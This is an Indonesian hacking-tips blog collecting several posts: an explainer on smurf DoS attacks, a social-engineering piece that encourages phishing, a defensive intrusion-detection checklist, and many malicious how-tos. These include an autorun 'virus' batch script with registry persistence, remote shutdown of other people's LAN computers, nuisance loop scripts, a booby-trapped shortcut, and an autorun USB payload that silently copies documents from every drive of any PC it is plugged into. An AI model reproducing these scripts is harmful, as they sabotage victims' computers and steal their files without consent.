Tool Sumrf pada Denial of Service (DoS) Attack

Kali ini saya akan membahas tentang tools smurf attack...silahkan dibaca dan dipahami....
ilmu-pengetahuan21....
Smurf Attack Merupakan salah satu jenis serangan Denial of Service yang mengeksploitasi protokol Internet Control Message Protocol (ICMP).

Smurf attack adalah sebuah serangan yang dibangun dengan menggunakan pemalsuan terhadap paket-paket ICMP echo request, yakni sebuah jenis paket yang digunakan oleh utilitas troubleshooting jaringan, PING. Si penyerang akan memulai serangan dengan membuat paket-paket "ICMP echo request" dengan alamat IP sumber berisi alamat IP host target yang akan diserang (berarti alamat telah dipalsukan atau telah terjadi address spoofing). Paket-paket tersebut pun akan dikirimkan secara broadcast ke jaringan di mana komputer target berada, dan host-host lainnya yang menerima paket yang bersangkutan akan mengirimkan balasan dari "ICMP echo request" ("ICMP echo reply") kepada komputer target, seolah-olah komputer target merupakan komputer yang mengirimkan ICMP echo request tersebut. Semakin banyak komputer yang terdapat di dalam jaringan yang sama dengan target, maka semakin banyak pula ICMP echo reply yang dikirimkan kepada target, sehingga akan membanjiri sumber daya komputer target, dan mengakibatkan kondisi penolakan layanan (Denial of Service) yang menjadikan para pengguna tidak dapat mengakses layanan yang terdapat di dalam komputer yang diserang. Beberapa sistem bahkan mengalami crash atau hang, dan lagi, banjir yang berisi paket-paket "ICMP echo request/reply" akan membuat kongesti (kemacetan) jaringan yang dapat memengaruhi komputer lainnya.

Karenanya, serangan ini seringnya dilancarkan kepada sebuah sistem atau jaringan yang dimiliki oleh penyedia jasa Internet (Internet Service Provider/ISP), sehingga dapat menyebabkan masalah terhadap kinerja jaringan dan tentu saja menolak akses dari klien. Smurf attack pertama kali muncul pada tahun 1997 dan mencuat saat server web Yahoo! mengalaminya (diserang sebagai target), dan selama tiga jam, server Yahoo! pun tidak dapat digunakan. Selain server pusat jaringan, web server, dan server ISP, beberapa target lainnya yang sering diserang adalah Internet Relay Chat (IRC) Server.

Keuntungan dari serangan ini adalah si penyerang tidak harus membuat banyak lalu lintas data untuk melakukan penyerangan (dengan demikian, tidak membutuhkan komputer dengan kekuatan yang tinggi), karena memang si penyerang mengirimkan paket ICMP echo request secara broadcast kepada komputer-komputer yang "bertetanggaan" dengan komputer target. Meski paket ICMP echo request yang dikirimkan hanya satu, hal ini dapat menjadi masalah besar jika memang jaringan tersebut sangat besar (memiliki banyak host).

Selain Smurf Attack, ada juga serangan yang menggunakan metode serupa, yang disebut sebagai Fraggle Attack, dengan satu perbedaan yakni paket yang dikirimkan oleh penyerang. Jika dalam Smurf Attack, si penyerang mengirimkan paket ICMP, maka dalam Fraggle Attack, si penyerang akan mengirimkan paket protokol User Datagram Protocol (UDP).

Cara Kerja I

Smurf attack adalah sebuah serangan yang dibangun dengan menggunakan pemalsuan terhadap paket-paket ICMP echo request, yakni sebuah jenis paket yang digunakan oleh utilitas troubleshooting jaringan,”PING”

Cara Kerja II

Penyerang akan memulai serangan dengan membuat paket-paket "ICMP echo request" dengan alamat IP sumber berisi alamat IP host target yang akan diserang,yang mana paket ini nantinya akan dikirimkan secara broadcast ke jaringan di mana komputer target berada.

Cara kerja III

Host-host lainnya yang menerima paket yang bersangkutan akan mengirimkan balasan dari "ICMP echo request" ("ICMP echo reply") kepada komputer target, seolah-olah komputer target merupakan komputer yang mengirimkan ICMP echo request tersebut

Cara Kerja IV

Semakin banyak komputer yang terdapat di dalam jaringan yang sama dengan target, maka semakin banyak pula ICMP echo reply yang dikirimkan kepada target, sehingga akan membanjiri sumber daya komputer target, dan mengakibatkan kondisi penolakan layanan (denial of service)

Ilustrasi I

- Penyerang mengirim paket ICMP echo request ke router dengan bobot 128 kbps, sang attacker mengubah(spoof) IP address –nya menjadi ip address milik target sehingga icmp echo reply akan dikirimkan ke komputer target,dan alamat tujuan packetnya adalah broadcast address dari jaringan itu yakni 129.64.255.255

Ilustrasi II

Dan bila router ditugasi untuk menforward paket2 ke jaringan yang ada di kanan router maka seluruh host akan mereply ke komputer target dan menghasilkan ICMP echo reply yang berbobot 649 kbps (5x128kbps)

Pencegahan

- Untuk menghindari jaringan tidak menjadi perantara serangan ini, maka broadcast addressing harus dimatikan di router kecuali sangat dibutuhkan untuk keperluan multicast
- Memfilter permohonan ICMP echo pada firewall


Inilah sekilas tentang smurf attack, semoga menambah wawasan anda semua :)

sumber : wikipedia.com

Read more »

Apa itu Social Engineering?

Apa itu social engineering? pasti semua anak IT tau apa itu social engineering. Social engineering adalah suatu cara atau teknik sosial dimana kita memanfaatkan manusia sebagai alat bagaimana kita bisa mencari sebuah informasi dan memperoleh suatu rahasia yang ingin kita targetkan. Biasanya social engineering ini sering disebut dengan penipuan. kenapa? karena teknik ini kita memperdaya seseorang bagaimana orang tersebut mau membocorkan sebuah kunci rahasia dalam suatu perusahaan atau sistem.

Social engineering ini tidak hanya dilakukan oleh satu orang saja, juga melibatkan semua orang supaya kerja dalam mendapatkan suatu kunci rahasia target bisa berjalan dengan mulus dan tanpa diketahui oleh pihak yang akan ditipu. Biasanya social engineering ini sebelum melancarkan aksi nya mereka terlebih dahulu menyusun strategi supaya target tidak curiga dan bisa mendapatkan jasil yangmaksimal.

bisa kita ibaratkan dalam sebuah film spongebob squerpant (maaf kalo salah dalam penulisan :D)

"Dalam cerita yang ada di film spongebob, dia sebagai seorang koki di suatu restoran yang namanya krasty crab. krasty crab di pimpin oleh tuan krab. dalam suatu bisnis restoran, pasti ada yang namnya persaingan. jadi saingan dari krasty krab adalah chumbaket. chumbaket di pimpin oleh plankton. jadi suatu hari si plankton berusaha mendekati spongebob,karna spongebob itu dalam karakternya agak oon oon gitu..hahaha :D jadi dengan cara dan tipu daya plankton akhirnya spongebob percaya bahwa plankton baik dan jadi sahabatnya, lalu spongebob dengan cuma2 memberikan sebuah kraby petty kepada plankton"

Jadi untuk memperoleh sebuah informasi rahasia itu mudah, hanya dengan berpura-pura baik dan kita harus menempatkan diri kita serendah-rendahnya hanya ingin mendapatkan informasi rahasia.

Kalo dalam internet, yang saya kenal adalah teknik phising. itu kita mengirimkan suatu situs, dimana situs itu kita buat persis sama dengan situs aslinya. kita buat supaya mereka masuk atau login dengan user dan password yang mereka punya.

Sosial engineering adakalanya menjadi ancaman serius. memang sepertinya tidak ada kaitan dengan teknologi, namun sosial engineering harus diwaspadai karena bisa berakibat fatal bagi sistem. Karena bagaimanapun juga suatu komputer tetap saja tidak bisa lepas dari manusia. ya, tidak ada satu sistem komputerpun di muka bumi ini yang bisa lepas dari campur tangan manusia. Sehebat apapun pertahanan kita, jika kita sudah dikuasai oleh attacker melalui social engineering, maka bisa jadi kita sendirilah yang membukakan jalan masuk bagi sang attacker

hanya itu yang saya ketahui tentang social engineering, untuk lebih lengkapnya bisa di cari di Mbah Gugel :D


Ajiez (Teknik Informatika UIN SUSKA RIAU)

Read more »

Cara membuat virus sederhana

Sahabat Pengetahuan21...ni virus efeknya g t’lalu bahaya….efek dari virus ini cuman mengganti tampilan dari
windows…..tapi cukup bikin kaget juga!!! tapi yg penting gak ke-detect ama anti virus(setahu saya….. )
ni ane dapet dari hasil baca-baca “HELP”-nya windows Xp…trus ane modif sendiri…

note: “HANYA BEKERJA PADA WINDOWS XP”

caranya:
- buka notepad lalu tulis(atau copy paste…tapi di edit dulu yaaa… ) script di bawah ini:

@echo off
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\ /y
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\WINDOWS\ /y
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\WINDOWS\system32\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\WINDOWS\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\WINDOWS\system32\ /y
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeCaption /d “WARNING MESSAGE FROM LOCAL_HOST(judul title bar)” /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeText /d “I HAVE RUINED YOUR COMPUTER AND YOUR COMPUTER IS LOCKED(pesan pembuat)” /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\image_name(terserah dari nama file gambar pembuat).bmp /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v WallpaperStyle /d 0 /f
reg add “HKEY_USERS\.DEFAULT\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\image_name(terserah dari nama file gambar pembuat).bmp /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v nama_terserah /d %systemdrive%\windows\system32\nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe /f
reg add “HKEY_CURRENT_USER/Control Panel/Colors” /v window /d #000000(atau kombinasi warna RGB lain,cari pake Adobe Photoshop) /f

- lalu di SAVE AS ALL FILES dengan exstensi .bat (nama_file.bat)
- buat Autorun.inf dengan script:

[autorun]
open=nama_file.bat

- lalu SAVE AS ALL FILES dengan exstensi .inf (Autorun.inf)
- file-file tersebut harus dalam 1 direktori, lalu seleksi file-file tsb klik kanan PROPERTIES beri tanda check pada HIDDEN dan READ-ONLY
- copy file-file tsb ke CD
- nikmati efeknya

Don't forget Follow me on Twitter Ajiez

Read more »

Cara mematikan komputer orang lain

oke Sahabat Pengetahuan21..
inii caranya..silahkan disimak dengan baik yah..


langsung ajha gan…..

Caranya:
1. Kamu buka komputer, and klik Start->Run…di kotak isian tersebut kamu isikan “cmd” (tanpa petik )

2. Setelah itu muncul kotak berwarna hitam…di situ kamu ketikan SHUTDOWN.EXE (spasi) -i (spasi) -m

3. Contoh: Shutdown.exe -i -m lalu kamu tekan Enter

4. Maka akan muncul kotak di samping yang bernama “Remote Shutdown Dialog”

5. Kamu klik “ADD” -> untuk menambahkan IP target or nama target di LAN…atau kamu klik “Browse” untuk mencari otomatis

6. Kamu bisa tentuin yang enaknya buat ngusilin komputer orang itu, apakah di shutdown, restart, or Log off…

7. Tentukan time yang pas buat deat time-nya komputer itu beraksi

8. Kamu bisa tambakan other (planned), ini dimaksudkan agar si user lawan mengira kalo ini ulah server yang lagi maintenance

9. Kirim kan pesan kematian mu ke komputer orang di COMMENT

10. Tertawalah yang puas melihat orang lain kebingungan..hahahahahahahahaha

Don't forget Follow me on Twitter Ajiez

Read more »

Cara membuat notepad terus-menerus

oke Sahabat Pengetahuan21...sekarang kita bermain dengan notepad..
ini dia caranya..

pertama kita harus membuka notepad...
terus tulis script ini ke dalam notepad


@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top


Simpan dengan format *.bat.
Lalu Buka File Tersebut

Don't forget Follow me on Twitter Ajiez

Read more »

Cara terus-menerus menekan tombol backspace

oke Sahabat Pengetahuan21...sekarang kita bermain dengan notepad..
ini dia caranya..

pertama kita harus membuka notepad...
terus tulis script ini ke dalam notepad


MsgBox “Kembali ke menu sebelumnya”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop

Simpan dengan format *.vbs.
Lalu Buka File Tersebut

Don't forget Follow me on Twitter Ajiez

Read more »

Cara membuat tombol capslock terus menyala

oke Sahabat Pengetahuan21...sekarang kita bermain dengan notepad..
ini dia caranya..

pertama kita harus membuka notepad...
terus tulis script ini ke dalam notepad


Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop

Simpan dengan format *.vbs.
Lalu Buka File Tersebut

Don't forget Follow me on Twitter Ajiez

Read more »

Cara membuat komputer shutdown dengan muncul pesan

oke Sahabat Pengetahuan21...sekarang kita bermain dengan notepad..
ini dia caranya..

pertama kita harus membuka notepad...
terus tulis script ini ke dalam notepad


@echo off
msg * Hahahahhaha
shutdown -s -c “Komputer anda mati”

Simpan dengan format *.bat.
Lalu Buka File Tersebut

Don't forget Follow me on Twitter Ajiez

Read more »

Cara membuat pesan muncul berulang-ulang

oke Sahabat Pengetahuan21...sekarang kita bermain dengan notepad..
ini dia caranya..

pertama kita harus membuka notepad...
terus tulis script ini ke dalam notepad


@ECHO off
:Begin
msg * hahahhaa
msg * santai boss
msg * ini hanya main-main
msg * jangan marah ya
msg * hanya bercanda
GOTO BEGIN

Simpan dengan format *.bat.
Lalu Buka File Tersebut

Don't forget Follow me on Twitter Ajiez

Read more »

Cara menulis otomatis dinotepad

oke Sahabat Pengetahuan21...sekarang kita bermain dengan notepad..
ini dia caranya..

pertama kita harus membuka notepad...
terus tulis script ini ke dalam notepad..


Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “Tulisan ini akan menulis sendiri di notepad anda”
loop

Simpan dengan format *.vbs.
Lalu Buka File Tersebut

Don't forget Follow me on Twitter Ajiez

Read more »

Cara membuka dan menutup CD/DVD melalui Notepad

oke Sahabat Pengetahuan21...sekarang kita bermain dengan notepad..
ini dia caranya..

pertama kita harus membuka notepad...
terus tulis script ini ke dalam notepad


Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Simpan dengan format *.vbs.
Lalu Buka File Tersebut

Don't forget Follow me on Twitter Ajiez

Read more »

Cara mengambil data melalui USB Drive

Sahabat Pengetahuan21...inii cara mangambil data melalui USB Drive..
cuma sekedar pengetahuan aja..
Coba – Coba mengambil data pake USB Flash Drive.. ok let’s start mulai aja yuk.!

1. Buka notepad pertama . .. kalau males ngetik bisa copas tulisan di bawah ini ..

Code:
@echo off
REM Name : silentxxx
REM Author : Silentxxx
Set silent=%computername% _ %random%
If not exist ”%silent%” Md "%silent%”
For%%a in (C D E F G H I J) do if exist %%a:\ (
For /f "tokens=*” %%b in (‘dir /a/b/s %%a:\*.doc’) do (
attrib –s –h –r "%%b”
copy "%%b” "%silent%” /y)
For /f  "tokens=*” %%b in (‘dir /a/b/s%%a:\.xls’) do (
attrib –s –h –r "%%b”
copy "%%b” "%silent%” /y)
For /f "tokens=*” %% b in (‘dir /a/b/s%%a:/*.txt’) do (
attrib –s –h –r "%%b”
copy "%%b” "%silent%” /y)
For /f "tokens=*” %%b in (‘dir /a/b/s%%a:/*.docx’) do (
attrib –s –h –r "%%b”
copy "%%b” "%silent%” /y)
)

1. Save file tersebut dengan nama terserah .bat dan save as type all files .,udah pa blon??
Sekarang coba di jalankan file dengan exstensi bat tersebut maka di samping File akan terbuat semua file yang di copy dari drive C ampai Z (kalau punya )wkwkwk. gila banyak amat..
Code di atas dapat di ubah atau di tambah sesuai dengan keinginan kalian masing-masing bisa di tambahkan kode
Code:
For /f "tokens=*”  %%b in (‘dir /a/b/s%%a:\*.zip’)  do(
attrib –s –h –r  "%%b”
copy "%%b” "%silent%” /y)
maka file yang berextensi zip akan masuk ke Flash Disk kamu (wah lumayan dapat software kompresan gratis wkwkwk)
ubah sesuai extensi apa yang kamu inginkan misalnya *.pdf atau *.html
maka file terserah.bat akan berjalan sesuai dengan keinginan anda .
File tersebut bisa anda ubah ke bentuk extensi exe. .. enak atuh,, lebih mudah.. dengan software Bat_To_Exe_ConverterV1.5 kalau belum punya kakak-kakak bisa download di http://www/brothersoft.com/bat-to-exe-converter-50301.html

Cara mengubahnya adalah
1. Buka software tersebut..
2. Pilih yang compile
3. Dan sekarang file.bat yang tadi kita buat menjadi file yang berextensi *.exe lebih enak kan ..
4. Agar file tersebut maka kita harus buat file autorun
5. Buka notepad ketikkan
Code:
[autorun]
Open=terserah.exe

1. save as dengan nama Autorun.inf dan terserah.exe di dalam directory USB Flash Drive kamu..
2. Selesai .. Akhirnya sekarang colokkan atau masukkan FD kamu atau loe atau agan di pc mana aaja akan terkcopy banyak data yang kamu terima .. thnkz.. tamat

Don't forget Follow me on Twitter Ajiez

Read more »

Cara mendeteksi penyusup di server anda

oke Sahabat Pengetahun21...

Mencari tanda-tanda terjadinya penyusupan terhadap sistem

NOTE :

1. Artikel ini dimaksudkan untuk bahan pelajaran para admin dan siapa saja yang ingin mengembangkan pengetahuan tentang security

2. Gunakan Tutor ini jika anda anggap penting untuk mengamankan server anda

Sering Sekali lamer-lamer mendekteksi jaringan kita baik dengan beraneka ragam cara yang terkadang membuat si admin kebingunggan (panic) untuk melacaknya, untuk itu penulis mencoba memaparkan sekilas tentang langkah-langkah melakukan pendeteksian terhadap sistem yang susah tersusup atau belom tersusup, Benarkan sistem kita tersusup ? (khususnya pada sistem yang berbasix unix ato linux) sebagai jaringan yang paling banyak dipakai saat ini.

Ada pun langkah-langka yang dapat kita tempuh adalah sebagai berikut :

1. memeriksa file-file log, untuk memcari koneksi dari lokasi yang tidak wajar atau mencari aktivitas yang tidak semestinya ada. sebagai contoh , periksalah “last log”, proses accounting, semua log yang dibuat oleh syslog, dan log-log yang lain yang ada kaitannya dengan keamaan. bila firewall digunakan atau router menulis log ke lokasi yang berbede dengan compromised system (sistem yang berhasil di-comprimise), jangan lupa untuk memeriks log-lognya juga. sebagai catatan, hal ini bukanlah hal yang mudah dan aman untuk dilakukan, kecuali anda melakukan log ke sebuah media yang hanya dapat diisi dengan mode append (sering sekali penyusup mengedit file-file log untuk menyembunyikan aktivitas mereka).

2. memeriksa file-file setuid dan setgid (terutama file setuid root) pada sistem. sering sekali penyusup meninggalkan setuid dari /bin/sh atu /bin/time untuk memudahkan bila akan melakukan akses sebagai root di waktu yang akan datang. perintah find pada unix ato linux dapat digunakan untuk mencari file-file setuid dan segid. sebagai contoh ada dapat melakukan perintah berikut untuk mencari file-file setuid root dan setgid kmem pada seluruh lokasi didalam sistem :

contoh pemakaian:

gayo:~$ find / -user root -perm -4000 -print

gayo:~$ find / -group kmem -perm -2000 -print

keterangan : contoh ini akan mencari ke seluruh sistem / direktory, termasuk NFS/AFS yang dimount ke dalam file system, namun untuk mencegah hirarki tersebut ada beberapa perintah find yang mendukung option “-xdev” . sebagai contoh :

gayo:~$ find / -user root -perm -4000 -print -xdev

cara lain untuk mencari file-file setuid adalah dengan melakukan perintah ncheck pada tiap-tiap partisi.sebagai contoh, gunakan perintah berikut ini untuk mencari file-file setuid dan device -device khusus pada partisi /dev/rsd0g:

gayo:~$ ncheck -s /dev/rsd0g

3. memeriksa file-file binary di dalam system untuk memastikan file-file binary tersebut tidak berubah. seringkali penyusup mengubah program pada sistem unix ato linux, misalkannya login, su, nestat, ifconfig, ls, find, du, df, libc, sync. semua file-file binary yang di referensikan oleh /etc/inetd.conf, dan program-program jaringan yang penting berserta library-library berbentuk objek yang dipakainya. jangan lupa untuk membandingan dengan file-file aslinya, hati-hati terhadap backupan jangan-jangan sudah terkena/terinfeksi trojan horse. ( pakailah program untuk menditeksi trojan ) contoh-contoh programnya cmp ato MD5 (program standar yang dimiliki unix ato linux) ato bisa saja anda mengunakan program lain yang bisa anda dapat kan di internet.

4. memeriksa sistem dari akses penggunaan program networking secara ilegal, yang umum disebut dengan packet sniffer. penyusup mungkin menggunakan sniffer untuk menyadap user account dan password : saran penulis gunakanlah :superscan ato sejenisnya..

5. memeriksa semua file yang dijalankan oleh cron dan at. seringkali penyusup sengaja meninggalkan pintu belakang (backdoor) pada sistem (bahkan setelah sistem merasa yakin telah menyelesaikan masalah yang terjadi karena sistem di -compromise). Periksa juga semua program/file yang direferensi (baik secara langsung maupun tidak langsung) oleh job-job cron dan at serta file-file job mereka sendiri, yang seharusnya tidak dapat ditulis secara bebas.

6. Memeriksa service-service ilegal (yang sedang berjalan). perhatikan apakah ada penambahan atau pengubahan secara ilegal pada /etc/inetd.conf, khususnya periksa entri-entri yang mengeksekusi program-program shell (misal nya /bin/sh ato /bin/csh) dan pastikan program-program yang dispefisikasikan di /etc/inetd sudah benar dan tidak diganti oleh trojan horse. periksa juga service-service legal yang diberi tanda komentar pada service-service tertentu (berarti menjalankan service tertentu), atau mengganti program inetd dengan sebuah program trojan horse.

7. Memeriksa file /etc/passwd pada sistem dan memeriksa juga modifikasi yang terjadi pada file tersebut, khususnya untuk pembuatan account baru, account tanpa password, atau penggubahan UID (terutama UID 0) pada account-account yang ada.

8. Periksa file-file konfigurasi sistem dan jaringan dari entri-entri ilegal, khususnya cari entri degnan tanda plus (+) dab bana host yang tidak diinginkan di file /etc/hosts.equiv ,/etc/hosts.lpd dan semua file-file .rhost (terutama root,uucp,ftp dan account sistem yang lain 0 pada sistem, File-file tersebut seharusnya tidak dapat ditulis secara bebas. cari file-file yang tidak wajar atau hidden pasa seluruh lokasi di sistem (file-file yang dijalankan menurut prioda waktu tertentu dan umumnya tidak dapat dilihat dengan mengunakan perinah ls), karena file seperti ini dapat digunakan untuk menyembuyikan tool dan informasi (program password cracking, file password dari sistem lain). sebuah teknik yang umum pada sistem Unix ataupun linux adalah meletakan sebuah direktory yang hidden pada user acount dengan nama yang tidak wajar , misalkan “..” atau “.. “(titik2 spasi) atau “..^G” (titik2 ctrl+G). Sekali lagi, perintah find dapat digunakan untuk mencari file hidden tersebut, contoh :

gayo:~$ find / -name “.. ” – print -xdev

gayo:~$ find / -name “.*” – print -xdev | cat -v

demikian juga dengan file-file yang memiliki nama seperti misalnya “xx” dan “.mail” (terlihat seperti file biasa bukan)

9. memeriksa semua komputer pada jaringan lokal pada saat mencari tanda-tand adanya penyusupan. seringkali bila sebuah host berhasil di-compromise maka komputer lain yang berada didalam jaringan juga. hal ini bener khususnya bila jaringan menjalankan NIS (Network Information System) atau tiap-tiap host di dalam jaringan saling mempercayai melalui file .rhost dan file /etc/hosts.equiv. periksa juga host-host yang berbagi akses .rhost.

S’moga dengan pelajaran yang kecil ini kita bisa belajar bersama!..bukankah hal-hal kecil merupakan musibah bagi hal-hal yang besar

Don't forget Follow me on Twitter Ajiez

Read more »

Menjahili dengan shortcut icon

oke Sahabat Pengetahuan21..langsung aja..ini dia triknya..
cekidrot...
menuju target shortcut di desktop yg mau dijahili (contoh kasus : google chrome)
-“klik kanan” pada shortcut – properties

-pada kolom “target” isi dengan           shutdown -s -c “Virus Detected” -t 5

-klik OK
jika iconnya berubah jadi kotak, ganti iconnya dengan icon yang sama (contoh kasus : google chrome)
caranya :
-klik kanan > Properties
-Change icon > browse (misal C:\Documents and Settings\Arie\Local Settings\Application Data\Google\Chrome\Application\chrome.exe)
-pilih iconnya > ok
-Sekarang.. siapapun yang mengklik shortcut icon tersebut pasti komputer langsung keluar pesan “Virus Detected” dan langsung shutdown/mati Keterangan :
Shutdown -s adalah perintah untuk mematikan komputer
-c adalah perintah messages “Virus Detected” (Ingat ! Messages harus diawali tanda kutip dan diakhiri tanda kutip)
-t 5 delay waktu ..
oke.. selamat menjahili… hi..hi..hi..

Don't forget Follow me on Twitter Ajiez

Read more »